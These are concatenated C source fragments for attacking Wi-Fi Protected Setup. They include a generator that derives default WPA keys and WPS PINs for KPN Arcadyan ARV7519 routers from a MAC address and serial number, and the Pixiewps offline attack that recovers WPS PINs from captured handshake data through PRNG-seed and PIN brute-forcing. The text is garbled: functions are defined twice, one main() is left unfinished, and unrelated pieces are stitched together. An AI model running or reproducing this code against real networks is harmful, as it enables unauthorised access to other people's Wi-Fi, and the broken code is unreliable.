/**
* wps_generate_pin - Generate a random PIN
* Returns: Eight digit PIN (i.e., including the checksum digit)
*/
int wps_generate_pin(unsigned int *pin)
{
unsigned int val;
/* Generate seven random digits for the PIN */
if (random_get_bytes((unsigned char *) &val, sizeof(val)) < 0)
return -1;
val %= 10000000;
/* Append checksum digit */
*pin = val * 10 + wps_pin_checksum(val);
return 0;
}
/**
* wps_generate_pin - Generate a random PIN
* Returns: Eight digit PIN (i.e., including the checksum digit)
*/
unsigned int wps_generate_pin(void)
{
unsigned int val;
/* Generate seven random digits for the PIN */
if (random_get_bytes((unsigned char *) &val, sizeof(val)) < 0) {
struct os_time now;
os_get_time(&now);
val = os_random() ^ now.sec ^ now.usec;
}
val %= 10000000;
/* Append checksum digit */
return val * 10 + wps_pin_checksum(val);
}
void p2p_pincode(struct p2p *p, char *ins_no, char *ins_no_again)
{
int pin_check=0;
p->p2p_get=0;
ui_screen(p);
printf("%s", ins_no);
scanf("%d",&pin_check);
while( wps_pin_checksum(pin_check) != 0 )
{
ui_screen(p);
printf("%s", ins_no_again);
scanf("%d",&pin_check);
}
p->pin = pin_check;
}
int is_valid_pin(char *pin)
{
if(!pin)
return 0;
int i;
for (i = 0; i < strlen(pin); i++)
{
if(!isdigit(pin[i]))
return 0;
}
if(strlen(pin) == 8)
{
char pin7[8] = { 0 };
char pin8[9] = { 0 };
memcpy((void *) &pin7, pin, sizeof(pin7)-1);
snprintf(pin8, 9, "%s%d", pin7, wps_pin_checksum(atoi(pin7)));
if (strcmp(pin, pin8) != 0)
return 0;
}
return 1;
}
/* Builds a WPS PIN from the key tables */
char *build_wps_pin()
{
char *key = NULL, *pin = NULL;
int pin_len = PIN_SIZE + 1;
pin = malloc(pin_len);
key = malloc(pin_len);
if(pin && key)
{
memset(key, 0, pin_len);
memset(pin, 0, pin_len);
/* Generate a 7-digit pin from the given key index values */
snprintf(key, pin_len, "%s%s", get_p1(get_p1_index()), get_p2(get_p2_index()));
/* Generate and append the pin checksum digit */
snprintf(pin, pin_len, "%s%d", key, wps_pin_checksum(atoi(key)));
free(key);
}
return pin;
}
/**
* wps_pin_valid - Check whether a PIN has a valid checksum
* @pin: Eight digit PIN (i.e., including the checksum digit)
* Returns: 1 if checksum digit is valid, or 0 if not
*/
unsigned int wps_pin_valid(unsigned int pin)
{
return wps_pin_checksum(pin / 10) == (pin % 10);
}
int main (int argc, char *argv[]) {
int opt = 0;
int chs = 0;
unsigned int mac_1, mac_2, mac_3, mac_4, mac_5, mac_6;
unsigned int m7, m8, m9, m10, m11, m12;
long ss, se;
char *mac = "00:11:22:33:44:55";
char *s_start = "1";
char *s_end = "99999";
char *ke;
int smac;
char smacs[5];
unsigned int s6, s7, s8, s9, s10, k1, k2, x1, x2, x3, y1, y2, y3, z1, z2, z3;
char *ptr;
char *wpa = "000000000000";
char wpac[12],wpad;
int go = 0;
while ((opt = getopt(argc, argv, "m:v:s:e:?:")) != -1) {
switch(opt) {
case 'm':
mac = optarg;
chs = 0;
go++;
break;
case 'v':
chs = 1;
break;
case 's':
s_start = optarg;
s_end = s_start;
break;
case 'e':
s_end = optarg;
break;
case '?':
printf("\nparameters/usage:\n");
printf("\n-m [required]: MAC-address of router");
printf("\n-s [optional]: range start for last 5 digits of serial#. (Also use this to generate WPA key for just one unique serial#)");
printf("\n-e [optional]: range end for serial# (max. 99999)");
printf("\n-v [optional]: verbose - outputs serial# , WPA-key and WPS pin");
printf("\n\nexample 1: kpn_ARV7519WPA -m 74:31:70:BA:BA:A9\n");
printf("\nexample 2: kpn_ARV7519WPA -s 85894 -m 00:00:00:B8:68:21 -v 0\n\n");
break;
}
}
if (go == 1) {
printf("\nWPA/WPS Generator for KPN Arcadyan ARV7519 routers\n");
sscanf(mac, "%2X:%2X:%2X:%2X:%2X:%2X", &mac_1, &mac_2, &mac_3, &mac_4, &mac_5, &mac_6);
printf("Generating WPA keys for SSID: ARV7519%2X%2X%2X [MAC : %s]\n", mac_4, mac_5, mac_6, mac );
printf("serial# range [last digits] from %s to %s \n\n" , s_start , s_end);
ss = strtol(s_start, &ptr, 10);
if (ss < 1) ss = 1;
if (ss > 99998) ss = 99999;
se = strtol(s_end, &ptr, 10);
if (se < ss) se = ss;
if (se > 99998) se = 99999;
m7 = mac_4 >> 4 & 0x0f;
m8 = mac_4 & 0x0f;
m9 = mac_5 >> 4 & 0x0f;
m10 = mac_5 & 0x0f;
m11 = mac_6 >> 4 & 0x0f;
m12 = mac_6 & 0x0f;
for ( smac = ss ; smac <= se ; smac++){
sprintf(smacs, "%05d", smac);
s6 = smacs[0] - '0';
s7 = smacs[1] - '0';
s8 = smacs[2] - '0';
s9 = smacs[3] - '0';
s10 = smacs[4] - '0';
k1 = (s7 + s8 + m11 + m12) & 0x0f;
k2 = (m9 + m10 +s9 + s10) & 0x0f;
x1 = k1 ^ s10;
x2 = k1 ^ s9;
x3 = k1 ^ s8;
y1 = k2 ^ m10;
y2 = k2 ^ m11;
y3 = k2 ^ m12;
z1 = m11 ^ s10;
z2 = m12 ^ s9;
z3 = k1 ^ k2;
if (chs == 0) printf("%1X%1X%1X%1X%1X%1X%1X%1X%1X%1X%1X%1X\n", x1,y1,z1,s6,x2,y2,z2,k2,x3,y3,z3,k1);
if (chs == 1) {
int pin;
char pinhex[7];
sprintf(pinhex, "%1X%1X%1X%1X%1X%1X%1X", x1,x2,y1,y2,z1,z2,x3);
sscanf(pinhex, "%x", &pin);
pin = pin % 10000000;
printf("Serial# J....%5d - WPA key: %1X%1X%1X%1X%1X%1X%1X%1X%1X%1X%1X%1X - WPS pin: %07d%d\n", smac, x1,y1,z1,s6,x2,y2,z2,k2,x3,y3,z3,k1,pin, wps_pin_checksum(pin));
}
}
}
int main(int argc, char **argv) {
struct global *wps;
if ((wps = calloc(1, sizeof(struct global)))) {
wps->pke = 0;
wps->pkr = 0;
wps->e_hash1 = 0;
wps->e_hash2 = 0;
wps->authkey = 0;
wps->e_nonce = 0;
wps->r_nonce = 0;
wps->e_bssid = 0;
wps->psk1 = 0;
wps->psk2 = 0;
wps->dhkey = 0;
wps->kdk = 0;
wps->wrapkey = 0;
wps->emsk = 0;
wps->e_s1 = 0;
wps->e_s2 = 0;
wps->bruteforce = false;
wps->verbosity = 2;
wps->error = calloc(256, 1); if (!wps->error) goto memory_err;
wps->error[0] = '\n';
} else {
memory_err:
fprintf(stderr, "\n [X] Memory allocation error!\n");
return MEM_ERROR;
}
int opt = 0;
int long_index = 0;
opt = getopt_long(argc, argv, option_string, long_options, &long_index);
while (opt != -1) {
switch (opt) {
case 'e':
wps->pke = malloc(WPS_PUBKEY_LEN);
if (!wps->pke)
goto memory_err;
if (hex_string_to_byte_array(optarg, wps->pke, WPS_PUBKEY_LEN)) {
snprintf(wps->error, 256, "\n [!] Bad enrollee public key -- %s\n\n", optarg);
goto usage_err;
}
break;
case 'r':
wps->pkr = malloc(WPS_PUBKEY_LEN);
if (!wps->pkr)
goto memory_err;
if (hex_string_to_byte_array(optarg, wps->pkr, WPS_PUBKEY_LEN)) {
snprintf(wps->error, 256, "\n [!] Bad registrar public key -- %s\n\n", optarg);
goto usage_err;
}
break;
case 's':
wps->e_hash1 = malloc(WPS_HASH_LEN);
if (!wps->e_hash1)
goto memory_err;
if (hex_string_to_byte_array(optarg, wps->e_hash1, WPS_HASH_LEN)) {
snprintf(wps->error, 256, "\n [!] Bad hash -- %s\n\n", optarg);
goto usage_err;
}
break;
case 'z':
wps->e_hash2 = malloc(WPS_HASH_LEN);
if (!wps->e_hash2)
goto memory_err;
if (hex_string_to_byte_array(optarg, wps->e_hash2, WPS_HASH_LEN)) {
snprintf(wps->error, 256, "\n [!] Bad hash -- %s\n\n", optarg);
goto usage_err;
}
break;
case 'a':
wps->authkey = malloc(WPS_AUTHKEY_LEN);
if (!wps->authkey)
goto memory_err;
if (hex_string_to_byte_array(optarg, wps->authkey, WPS_HASH_LEN)) {
snprintf(wps->error, 256, "\n [!] Bad authentication session key -- %s\n\n", optarg);
goto usage_err;
}
break;
case 'n':
wps->e_nonce = malloc(WPS_NONCE_LEN);
if (!wps->e_nonce)
goto memory_err;
if (hex_string_to_byte_array(optarg, wps->e_nonce, WPS_NONCE_LEN)) {
snprintf(wps->error, 256, "\n [!] Bad enrollee nonce -- %s\n\n", optarg);
goto usage_err;
}
break;
case 'm':
wps->r_nonce = malloc(WPS_NONCE_LEN);
if (!wps->r_nonce)
goto memory_err;
if (hex_string_to_byte_array(optarg, wps->r_nonce, WPS_NONCE_LEN)) {
snprintf(wps->error, 256, "\n [!] Bad registrar nonce -- %s\n\n", optarg);
goto usage_err;
}
break;
case 'b':
wps->e_bssid = malloc(WPS_BSSID_LEN);
if (!wps->e_bssid)
goto memory_err;
if (hex_string_to_byte_array(optarg, wps->e_bssid, WPS_BSSID_LEN)) {
snprintf(wps->error, 256, "\n [!] Bad enrollee MAC address -- %s\n\n", optarg);
goto usage_err;
}
break;
case 'S':
wps->small_dh_keys = true;
break;
case 'f':
wps->bruteforce = true;
break;
case 'v':
if (get_int(optarg, &wps->verbosity) != 0 || wps->verbosity < 1 || 3 < wps->verbosity) {
snprintf(wps->error, 256, "\n [!] Bad verbosity level -- %s\n\n", optarg);
goto usage_err;
};
break;
case 'h':
goto usage_err;
case '?':
default:
fprintf(stderr, "%s -h for help\n", argv[0]);
return ARG_ERROR;
}
opt = getopt_long(argc, argv, option_string, long_options, &long_index);
}
/* Not all required arguments have been supplied */
if (wps->pke == 0 || wps->e_hash1 == 0 || wps->e_hash2 == 0) {
wps->error = "\n [!] Not all required arguments have been supplied!\n\n";
usage_err:
fprintf(stderr, usage, VERSION, argv[0], wps->error);
return ARG_ERROR;
}
/* If --dh-small is selected then no --pkr should be supplied */
if (wps->pkr && wps->small_dh_keys) {
wps->error = "\n [!] Options --dh-small and --pkr are mutually exclusive!\n\n";
goto usage_err;
}
/* Either --pkr or --dh-small must be specified */
if (!wps->pkr && !wps->small_dh_keys) {
wps->error = "\n [!] Either --pkr or --dh-small must be specified!\n\n";
goto usage_err;
}
if (wps->small_dh_keys) { /* Small DH keys selected */
wps->pkr = malloc(WPS_PUBKEY_LEN);
if (!wps->pkr)
goto memory_err;
/* g^A mod p = 2 (g = 2, A = 1, p > 2) */
memset(wps->pkr, 0, WPS_PUBKEY_LEN - 1);
wps->pkr[WPS_PUBKEY_LEN - 1] = 0x02;
if (!wps->authkey) {
if (wps->e_nonce) {
if (wps->r_nonce) {
if (wps->e_bssid) { /* Computing AuthKey */
wps->dhkey = malloc(WPS_HASH_LEN);
if (!wps->dhkey)
goto memory_err;
wps->kdk = malloc(WPS_HASH_LEN);
if (!wps->kdk)
goto memory_err;
unsigned char *buffer = malloc(WPS_NONCE_LEN * 2 + WPS_BSSID_LEN);
if (!buffer)
goto memory_err;
/* DHKey = SHA-256(g^(AB) mod p) = SHA-256(PKe^A mod p) = SHA-256(PKe) (g = 2, A = 1, p > 2) */
sha256(wps->pke, WPS_PUBKEY_LEN, wps->dhkey);
memcpy(buffer, wps->e_nonce, WPS_NONCE_LEN);
memcpy(buffer + WPS_NONCE_LEN, wps->e_bssid, WPS_BSSID_LEN);
memcpy(buffer + WPS_NONCE_LEN + WPS_BSSID_LEN, wps->r_nonce, WPS_NONCE_LEN);
/* KDK = HMAC-SHA-256{DHKey}(Enrollee nonce || Enrollee MAC || Registrar nonce) */
hmac_sha256(wps->dhkey, WPS_HASH_LEN, buffer, WPS_NONCE_LEN * 2 + WPS_BSSID_LEN, wps->kdk);
buffer = realloc(buffer, WPS_HASH_LEN * 3);
if (!buffer)
goto memory_err;
/* Key derivation function */
kdf(wps->kdk, WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN + WPS_EMSK_LEN, buffer);
wps->authkey = malloc(WPS_AUTHKEY_LEN);
if (!wps->authkey)
goto memory_err;
memcpy(wps->authkey, buffer, WPS_AUTHKEY_LEN);
if (wps->verbosity > 2) {
wps->wrapkey = malloc(WPS_KEYWRAPKEY_LEN);
if (!wps->wrapkey)
goto memory_err;
wps->emsk = malloc(WPS_EMSK_LEN);
if (!wps->emsk)
goto memory_err;
memcpy(wps->wrapkey, buffer + WPS_AUTHKEY_LEN, WPS_KEYWRAPKEY_LEN);
memcpy(wps->emsk, buffer + WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN, WPS_EMSK_LEN);
}
if (wps->verbosity < 3) {
free(wps->dhkey);
free(wps->kdk);
}
free(buffer);
} else {
wps->error = "\n [!] Neither --authkey and --e-bssid have been supplied!\n\n";
goto usage_err;
}
} else {
wps->error = "\n [!] Neither --authkey and --r-nonce have been supplied!\n\n";
goto usage_err;
}
} else {
wps->error = "\n [!] Neither --authkey and --e-nonce have been supplied!\n\n";
goto usage_err;
}
}
}
/* E-S1 = E-S2 = 0 */
wps->e_s1 = calloc(WPS_SECRET_NONCE_LEN, 1); if (!wps->e_s1) goto memory_err;
wps->e_s2 = calloc(WPS_SECRET_NONCE_LEN, 1); if (!wps->e_s2) goto memory_err;
/* Allocating memory for digests */
wps->psk1 = malloc(WPS_HASH_LEN); if (!wps->psk1) goto memory_err;
wps->psk2 = malloc(WPS_HASH_LEN); if (!wps->psk2) goto memory_err;
unsigned char *result = (unsigned char *) malloc(WPS_HASH_LEN);
if (!result)
goto memory_err;
unsigned char *buffer = (unsigned char *) malloc(WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2);
if (!buffer)
goto memory_err;
uint32_t seed;
uint32_t print_seed; /* Seed to display at the end */
unsigned int first_half;
unsigned int second_half;
unsigned char s_pin[4] = {0};
bool valid = false;
int mode = 1; bool found = false;
struct timeval t0, t1;
gettimeofday(&t0, 0);
while (mode <= MAX_MODE && !found) {
seed = 0; print_seed = 0;
/* ES-1 = ES-2 = E-Nonce */
if (mode == 2 && wps->e_nonce) {
memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN);
memcpy(wps->e_s2, wps->e_nonce, WPS_SECRET_NONCE_LEN);
}
/* PRNG bruteforce (rand_r) */
if (mode == 3 && wps->e_nonce) {
/* Reducing entropy from 32 to 25 bits */
uint32_t index = wps->e_nonce[0] << 25;
uint32_t limit = index | 0x01ffffff;
while (1) {
seed = index;
int i;
for (i = 1; i < WPS_NONCE_LEN; i++) {
if (wps->e_nonce[i] != (unsigned char) rand_r(&seed)) break;
}
if (i == WPS_NONCE_LEN) { /* Seed found */
print_seed = seed;
/* Advance to get ES-1 */
for (i = 0; i < WPS_SECRET_NONCE_LEN; i++)
wps->e_s1[i] = (unsigned char) rand_r(&seed);
/* Advance to get ES-2 */
for (i = 0; i < WPS_SECRET_NONCE_LEN; i++)
wps->e_s2[i] = (unsigned char) rand_r(&seed);
break;
}
if (index == limit) break; /* Complete bruteforce exausted */
index++;
}
}
/* PRNG bruteforce (random_r) */
if (mode == 4 && wps->e_nonce) {
/* Checks if the sequence may actually be generated by current random function */
if (wps->e_nonce[0] < 0x80 && wps->e_nonce[4] < 0x80 && wps->e_nonce[8] < 0x80 && wps->e_nonce[12] < 0x80) {
valid = true;
/* Converting enrollee nonce to the sequence may be generated by current random function */
uint32_t randr_enonce[4] = {0};
int j = 0;
for (int i = 0; i < 4; i++) {
randr_enonce[i] |= wps->e_nonce[j++];
randr_enonce[i] <<= 8;
randr_enonce[i] |= wps->e_nonce[j++];
randr_enonce[i] <<= 8;
randr_enonce[i] |= wps->e_nonce[j++];
randr_enonce[i] <<= 8;
randr_enonce[i] |= wps->e_nonce[j++];
}
uint32_t limit;
struct timeval curr_time;
gettimeofday(&curr_time, 0);
if (wps->bruteforce) {
seed = curr_time.tv_sec + SEC_PER_DAY * MODE4_DAYS - SEC_PER_HOUR * 2;
limit = 0;
} else {
seed = curr_time.tv_sec + SEC_PER_HOUR * 2;
limit = curr_time.tv_sec - SEC_PER_DAY * MODE4_DAYS - SEC_PER_HOUR * 2;
}
struct random_data *buf = (struct random_data *) calloc(1, sizeof(struct random_data));
char *rand_statebuf = (char *) calloc(1, 128);
initstate_r(seed, rand_statebuf, 128, buf);
int32_t res = 0;
while (1) {
srandom_r(seed, buf);
int i;
for (i = 0; i < 4; i++) {
random_r(buf, &res);
if (res != randr_enonce[i]) break;
}
if (i == 4) {
print_seed = seed;
srandom_r(print_seed + 1, buf);
for (int i = 0; i < 4; i++) {
random_r(buf, &res);
uint32_t be = __be32_to_cpu(res);
memcpy(&(wps->e_s1[4 * i]), &be, 4);
memcpy(wps->e_s2, wps->e_s1, WPS_SECRET_NONCE_LEN); /* ES-1 = ES-2 != E-Nonce */
}
}
if (print_seed || seed == limit) {
free(buf);
free(rand_statebuf);
break;
}
seed--;
}
}
}
/* WPS pin cracking */
if (mode == 1 || (mode == 2 && wps->e_nonce) || (mode == 3 && print_seed) || (mode == 4 && print_seed)) {
crack:
first_half = 0; second_half = 0;
while (first_half < 10000) {
uint_to_char_array(first_half, 4, s_pin);
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, (unsigned char *) s_pin, 4, wps->psk1);
memcpy(buffer, wps->e_s1, WPS_SECRET_NONCE_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk1, WPS_PSK_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PUBKEY_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN, wps->pkr, WPS_PUBKEY_LEN);
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2, result);
if (memcmp(result, wps->e_hash1, WPS_HASH_LEN)) {
first_half++;
} else {
break;
}
}
if (first_half < 10000) { /* First half found */
unsigned char checksum_digit;
unsigned int c_second_half;
/* Testing with checksum digit */
while (second_half < 1000) {
checksum_digit = wps_pin_checksum(first_half * 1000 + second_half);
c_second_half = second_half * 10 + checksum_digit;
uint_to_char_array(c_second_half, 4, s_pin);
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, (unsigned char *) s_pin, 4, wps->psk2);
memcpy(buffer, wps->e_s2, WPS_SECRET_NONCE_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk2, WPS_PSK_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PUBKEY_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN, wps->pkr, WPS_PUBKEY_LEN);
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2, result);
if (memcmp(result, wps->e_hash2, WPS_HASH_LEN)) {
second_half++;
} else {
second_half = c_second_half;
found = true;
break;
}
}
/* Testing without checksum digit */
if (!found) {
second_half = 0;
while (second_half < 10000) {
/* If already tested skip */
if (wps_pin_valid(first_half * 10000 + second_half)) {
second_half++;
continue;
}
uint_to_char_array(second_half, 4, s_pin);
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, (unsigned char *) s_pin, 4, wps->psk2);
memcpy(buffer, wps->e_s2, WPS_SECRET_NONCE_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk2, WPS_PSK_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PUBKEY_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN, wps->pkr, WPS_PUBKEY_LEN);
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2, result);
if (memcmp(result, wps->e_hash2, WPS_HASH_LEN)) {
second_half++;
} else {
found = true;
break;
}
}
}
}
}
/* E-S1 = E-Nonce != E-S2 */
if (mode == 4 && print_seed && !found) {
memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN);
mode++;
goto crack;
}
mode++;
}
gettimeofday(&t1, 0);
long elapsed_s = t1.tv_sec - t0.tv_sec;
mode--;
printf("\n Pixiewps %s\n", VERSION);
if (found) {
if (wps->e_nonce) {
if ((mode == 3 || mode == 4) && wps->verbosity > 2) {
printf("\n [*] PRNG Seed: %u", print_seed);
}
if (mode == 4 && wps->verbosity > 2) {
time_t seed_time;
struct tm ts;
char buffer[30];
seed_time = print_seed;
ts = *localtime(&seed_time);
strftime(buffer, 30, "%c", &ts);
printf(" (%s)", buffer);
}
}
if (wps->verbosity > 2) {
if (wps->dhkey) { /* To see if AuthKey was supplied or not */
printf("\n [*] DHKey: "); byte_array_print(wps->dhkey, WPS_HASH_LEN);
printf("\n [*] KDK: "); byte_array_print(wps->kdk, WPS_HASH_LEN);
printf("\n [*] AuthKey: "); byte_array_print(wps->authkey, WPS_AUTHKEY_LEN);
printf("\n [*] EMSK: "); byte_array_print(wps->emsk, WPS_EMSK_LEN);
printf("\n [*] KeyWrapKey: "); byte_array_print(wps->wrapkey, WPS_KEYWRAPKEY_LEN);
}
printf("\n [*] PSK1: "); byte_array_print(wps->psk1, WPS_PSK_LEN);
printf("\n [*] PSK2: "); byte_array_print(wps->psk2, WPS_PSK_LEN);
}
if (wps->verbosity > 1) {
printf("\n [*] E-S1: "); byte_array_print(wps->e_s1, WPS_SECRET_NONCE_LEN);
printf("\n [*] E-S2: "); byte_array_print(wps->e_s2, WPS_SECRET_NONCE_LEN);
}
printf("\n [+] WPS pin: %04u%04u", first_half, second_half);
} else {
printf("\n [-] WPS pin not found!");
}
printf("\n\n [*] Time taken: %lu s\n\n", elapsed_s);
if (!found && mode == 4 && valid && !wps->bruteforce) {
printf(" [!] The AP /might be/ vulnerable to mode 4. Try again with --force or with another (newer) set of data.\n\n");
}
free(result);
free(buffer);
free(wps->pke);
free(wps->pkr);
free(wps->e_hash1);
free(wps->e_hash2);
free(wps->authkey);
free(wps->e_nonce);
free(wps->r_nonce);
free(wps->e_bssid);
free(wps->psk1);
free(wps->psk2);
free(wps->e_s1);
free(wps->e_s2);
free(wps->error);
if (wps->verbosity > 2) {
free(wps->dhkey);
free(wps->kdk);
free(wps->wrapkey);
free(wps->emsk);
}
free(wps);
return (!found); /* 0 success, 1 failure */
}